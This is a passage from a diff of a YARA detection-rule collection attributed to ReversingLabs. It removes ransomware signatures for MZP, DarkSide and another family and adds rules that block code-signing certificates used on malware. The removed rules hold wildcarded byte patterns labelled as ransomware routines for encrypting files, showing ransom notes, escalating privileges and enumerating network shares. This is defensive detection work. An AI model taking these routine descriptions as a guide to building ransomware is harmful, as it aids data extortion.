?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 - C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 54 24 ?? 89 94 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? - ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? 6A ?? 6A ?? 0F - 11 84 24 ?? ?? ?? ?? 0F 57 C0 66 0F 13 44 24 ?? 8B 44 24 ?? 50 89 44 24 ?? 8B 44 24 - ?? 50 FF 36 89 44 24 ?? FF D7 6A ?? 8D 44 24 ?? 0F 57 C0 50 68 ?? ?? ?? ?? 8D 84 24 - ?? ?? ?? ?? 66 0F 13 44 24 ?? 50 FF 36 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 85 - C0 0F 84 - } - $encrypt_files_p2 = { - 6A ?? 6A ?? FF 74 24 ?? 0F 11 84 24 ?? ?? ?? ?? FF 74 24 ?? FF 36 FF 15 ?? ?? ?? ?? - 6A ?? 8D 44 24 ?? 50 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? 8B - 84 24 ?? ?? ?? ?? 8B C8 85 C0 B8 ?? ?? ?? ?? 6A ?? 0F 44 C8 69 44 24 ?? ?? ?? ?? ?? - 33 D2 6A ?? 40 89 44 24 ?? F7 F1 8B 4C 24 ?? 33 C0 83 C2 ?? 13 C0 01 54 24 ?? 13 C8 - 8B 44 24 ?? 89 4C 24 ?? 0F A4 C1 ?? C1 E0 ?? 51 50 FF 36 89 4C 24 ?? 89 44 24 ?? FF - 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF - 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 - 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? C7 84 24 ?? ?? ?? - ?? ?? ?? ?? ?? 6A ?? 6A ?? FF D7 8B 35 ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 89 44 24 ?? - FF D7 50 FF D6 6A ?? 6A ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? FF D7 50 FF D6 6A ?? 6A ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? FF D7 50 FF D6 - } - $encrypt_files_p3 = { - 6A ?? 6A ?? 66 0F 13 44 24 ?? FF 74 24 ?? FF 74 24 ?? FF 36 FF 15 ?? ?? ?? ?? 6A ?? - 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? C6 44 - 24 ?? ?? FF 36 FF 15 ?? ?? ?? ?? 80 7C 24 ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 83 C6 ?? - 56 FF 15 ?? ?? ?? ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? - 8B 75 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $enum_shares_p* ) ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "16:7f:d1:29:5b:3b:b1:02:db:b3:72:92:c8:38:e7:cd" and 1476921600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_MZP : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_253Ad25E39Abe8F8Fda9Fcf6 : INFO FILE { meta: - description = "Yara rule that detects MZP ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c08a4080-fa26-5b7b-869d-5f59096b1a12" - date = "2020-06-26" - modified = "2020-07-15" + id = "f09ca101-dd40-54d8-9235-1faf1e774dd4" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MZP.yara#L1-L147" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13800-L13816" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "724ae1033bfb8ff494b30e6b3333e6c848375f1b001b75e71c9444c9f9f31251" + logic_hash = "1d46ccaa136cd7be30ffbf0eb09eb6485c543ff4bdbe99fa7ea3846841cbd41b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "MZP" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $show_ransom_note_p1 = { - 55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 53 56 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? - ?? 88 55 ?? 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 8B C3 E8 ?? ?? ?? - ?? 89 1D ?? ?? ?? ?? 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 33 C0 - 89 46 ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? - ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? - 6A ?? 6A ?? 8D 45 ?? 50 33 C9 B2 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8D 86 ?? - ?? ?? ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? - C6 86 ?? ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 33 C0 89 86 ?? ?? - ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? - ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? - ?? ?? C6 86 ?? ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 - ?? ?? ?? ?? B2 ?? 8B C6 E8 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? A1 ?? ?? - ?? ?? 8B 00 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 33 D2 8B C6 E8 - } - $show_ransom_note_p2 = { - C6 86 ?? ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? - ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? - ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? B2 - ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? C6 46 ?? ?? C6 46 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? C6 46 - ?? ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - F0 89 73 ?? BA ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 - 8D 46 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 8B C6 C6 - 40 ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 - ?? 8B C6 C6 40 ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 89 43 ?? 8B 73 ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 46 ?? 33 D2 E8 ?? ?? ?? - ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? 8D 46 ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 43 ?? B2 ?? A1 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 89 43 ?? 8B 73 ?? 8D 46 ?? 33 D2 E8 ?? ?? ?? ?? 8D 46 ?? BA ?? ?? ?? - ?? E8 - } - $search_config_file = { - 8B C0 53 56 8B F0 8A 9E ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 75 ?? - 8B 46 ?? 8B 48 ?? A1 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 33 D2 8B - 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? 83 BE ?? ?? ?? ?? ?? 74 ?? 8B 96 ?? ?? ?? ?? B8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? - EB ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 88 9E ?? ?? ?? ?? 8A 96 ?? ?? - ?? ?? 8B C6 E8 ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 74 ?? 8B 46 ?? 8B 8E ?? ?? ?? ?? 8B - 96 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8B 46 ?? E8 ?? ?? ?? ?? 8B 46 ?? 89 - 70 ?? 5E 5B C3 - } - $track_mouse_event_for_entropy = { - 53 56 83 C4 ?? 8B F0 8B 42 ?? 05 ?? ?? ?? ?? 83 E8 ?? 72 ?? 2D ?? ?? ?? ?? 0F 84 ?? - ?? ?? ?? E9 ?? ?? ?? ?? 8A 86 ?? ?? ?? ?? 88 44 24 ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? - 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? 8B D8 EB ?? 54 E8 ?? ?? ?? ?? 8D 4C 24 ?? - 8B D4 8B C6 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8D 54 24 ?? - 8B C6 E8 ?? ?? ?? ?? 8D 54 24 ?? 8B C4 E8 ?? ?? ?? ?? 8B D8 3A 5C 24 ?? 0F 84 ?? ?? - ?? ?? 8B C6 E8 ?? ?? ?? ?? 84 DB 74 ?? C6 86 ?? ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? - 74 ?? 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? 8B 46 ?? 89 44 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? EB - ?? C6 86 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 46 ?? 89 - 44 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? 8B D6 8B 86 ?? ?? - ?? ?? FF 96 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? EB ?? 80 BE ?? ?? ?? ?? ?? 74 ?? C6 86 - ?? ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? - ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 5E 5B C3 - } - $find_files_p1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B FA - 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? - ?? B9 ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 43 ?? 8D 85 ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 C9 8A 08 41 E8 - ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 80 7B ?? ?? 76 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D7 8B C3 E8 ?? ?? ?? ?? 80 7B ?? ?? 0F 85 ?? - ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 43 ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 53 ?? E8 ?? ?? ?? ?? 84 C0 74 ?? FF 43 - } - $find_files_p2 = { - 80 7B ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D7 8B C3 E8 ?? ?? ?? ?? EB ?? 80 7B ?? ?? 74 ?? 8D - 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 43 ?? E8 ?? ?? ?? ?? EB ?? - 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? - 8D 43 ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $encrypt_files = { - 8B C0 33 D2 89 50 ?? 89 50 ?? 52 8D 50 ?? 52 FF 70 ?? FF 70 ?? FF 30 E8 ?? ?? ?? ?? - 85 C0 74 ?? 33 C0 C3 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? C3 33 C0 C3 51 8B 50 ?? 85 D2 7E - ?? 33 C9 89 48 ?? 51 8D 4C 24 ?? 51 52 FF 70 ?? FF 30 E8 ?? ?? ?? ?? 85 C0 74 ?? 33 - C0 59 C3 E8 ?? ?? ?? ?? EB ?? FF 30 C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 75 ?? C3 - E8 ?? ?? ?? ?? C3 56 8B F0 33 C0 89 46 ?? 89 46 ?? 8B 46 ?? 2D ?? ?? ?? ?? 74 ?? 48 - 74 ?? 48 74 ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 46 ?? - ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? - BA ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? - ?? ?? ?? 80 7E ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 51 6A ?? 52 50 8D 46 ?? - 50 E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 06 81 7E ?? ?? ?? ?? ?? 0F 85 ?? ?? - ?? ?? FF 4E ?? 6A ?? FF 36 E8 ?? ?? ?? ?? 40 0F 84 ?? ?? ?? ?? 2D ?? ?? ?? ?? 73 ?? - 33 C0 6A ?? 6A ?? 50 FF 36 E8 ?? ?? ?? ?? 40 0F 84 ?? ?? ?? ?? 6A ?? 8B D4 6A ?? 52 - 68 ?? ?? ?? ?? 8D 96 ?? ?? ?? ?? 52 FF 36 E8 ?? ?? ?? ?? 5A 48 0F 85 ?? ?? ?? ?? 33 - C0 3B C2 73 ?? 80 BC 06 ?? ?? ?? ?? ?? 74 ?? 40 EB ?? 6A ?? 6A ?? 2B C2 50 FF 36 E8 - ?? ?? ?? ?? 40 74 ?? FF 36 E8 ?? ?? ?? ?? 48 75 ?? EB ?? C7 46 ?? ?? ?? ?? ?? 81 7E - ?? ?? ?? ?? ?? 74 ?? 6A ?? EB ?? 6A ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 06 81 7E ?? - ?? ?? ?? ?? 74 ?? FF 36 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 F8 ?? 75 ?? C7 46 ?? ?? ?? ?? - ?? 33 C0 5E C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $search_config_file ) and ( all of ( $find_files_p* ) ) and ( $track_mouse_event_for_entropy ) and ( $encrypt_files ) and ( all of ( $show_ransom_note_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DVERI FADO, TOV" and pe.signatures [ i ] . serial == "25:3a:d2:5e:39:ab:e8:f8:fd:a9:fc:f6" and 1538662130 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Darkside : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_A9C1523Cb2C73A82771D318124963E87 : INFO FILE { meta: - description = "Yara rule that detects DarkSide ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "061b00cb-9b70-521f-ab3f-7e6b3c129194" - date = "2021-05-17" - modified = "2021-05-17" + id = "b21365d0-eaff-51da-8b8e-6a6ee75a5b95" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DarkSide.yara#L1-L94" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13818-L13836" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "128af9a1b143e4b0928dd2b243e69497be906175f44815cc5703f17cce48ec9d" + logic_hash = "87e314d14361f56935b7a8fb93468cfaf2c73e16c25d68a61ec80ad9334d3115" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "DarkSide" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_v1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 04 45 ?? ?? ?? - ?? 50 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? - ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? - ?? ?? ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8D 9D ?? ?? - ?? ?? 83 3B ?? 74 ?? 81 3B ?? ?? ?? ?? 74 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8D 85 ?? ?? - ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 7D ?? - ?? 74 ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5A 59 5B - 8B E5 5D C2 - } - $enumerate_drives = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 8B D8 85 DB 74 ?? C1 EB ?? 8D B5 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 F8 - ?? 74 ?? 83 F8 ?? 75 ?? 56 E8 ?? ?? ?? ?? 8D 76 ?? 4B 85 DB 75 ?? 5F 5E 5A 59 5B 8B - E5 5D C3 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? C7 - 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 - ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 A9 ?? ?? 74 ?? 6A ?? 8D 85 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 40 ?? 50 FF 15 ?? ?? ?? - ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 - ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2 - } - $escalate_privileges = { - 55 8B EC 83 C4 ?? 53 51 52 56 57 8D 45 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F - 85 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 - ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 50 - FF 75 ?? FF 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? AD 8B F8 83 - 7E ?? ?? 74 ?? C7 46 ?? ?? ?? ?? ?? 83 C6 ?? 4F 85 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 75 - ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C3 - } - $enumerate_netshare = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 6A ?? - 8D 45 ?? 50 6A ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? 83 7E ?? ?? 75 ?? 68 ?? - ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 C7 03 ?? ?? ?? ?? C7 43 ?? - ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 8D 47 ?? 50 53 FF 15 ?? ?? ?? - ?? 83 C4 ?? 53 FF 15 ?? ?? ?? ?? FF 36 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ?? - ?? 53 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C6 ?? FF 4D ?? 83 7D ?? ?? 75 ?? - FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2 - } - $find_files_v2 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D BD - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? - 83 C4 ?? 66 83 7C 47 ?? ?? 74 ?? 66 C7 04 47 ?? ?? 83 C7 ?? C7 04 47 ?? ?? ?? ?? C7 - 44 47 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 A9 ?? ?? 74 ?? - 8D 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 83 C4 - ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 C0 ?? 53 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( $find_files_v1 and $enumerate_drives and $escalate_privileges ) or ( $find_files_v2 and $enumerate_netshare ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ULTERA" and ( pe.signatures [ i ] . serial == "00:a9:c1:52:3c:b2:c7:3a:82:77:1d:31:81:24:96:3e:87" or pe.signatures [ i ] . serial == "a9:c1:52:3c:b2:c7:3a:82:77:1d:31:81:24:96:3e:87" ) and 1499731200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Ako : TC_DETECTION MALICIOUS MALWARE FILE 